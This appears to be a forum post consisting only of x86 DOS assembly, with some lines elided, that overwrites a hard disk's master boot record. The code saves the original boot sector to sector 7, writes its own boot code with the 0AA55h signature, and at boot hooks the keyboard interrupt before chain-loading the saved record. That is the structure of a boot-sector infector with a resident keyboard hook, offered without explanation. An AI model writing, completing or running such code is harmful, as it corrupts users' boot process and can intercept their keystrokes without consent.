Code: Select all
org 100h
start:
MOV AX,201H
MOV BX,0E00H
MOV CX,1
MOV DX,80H
INT 13H
MOV AX,301H
MOV CX,7
INT 13H
MOV SI,int9_installer
MOV DI,0E00H
MOV CX,1FDH
REP MOVSB
ES
MOV WORD[0FFEH],0AA55h
MOV AX,301H
MOV CX,1
INT 13H
RET
int9_installer:
cli
push es
mov ax,0
mov es,ax
es
mov cx,[24h]
es
mov dx,[26h]
...
mov cx,0
mov dx,2000h
es
mov [24h],cx
es
mov [26h],dx
pop es
sti
...
mov si,3100h
mov al,10h
mov [si],al
mov al,0
mov [si+1],al
mov al,01
mov [si+2],al
mov al,0
mov [si+3],al
MOV AX,7C00H
mov [si+4],ax
mov ax,0h
mov [si+6],ax
mov ax,7
mov [si+8],ax
xor ax,ax
mov [si+0ah],ax
mov [si+0ch],ax
mov [si+0eh],ax
mov ah,42h
mov dl,80h
INT 13H
JMP 0:7C00H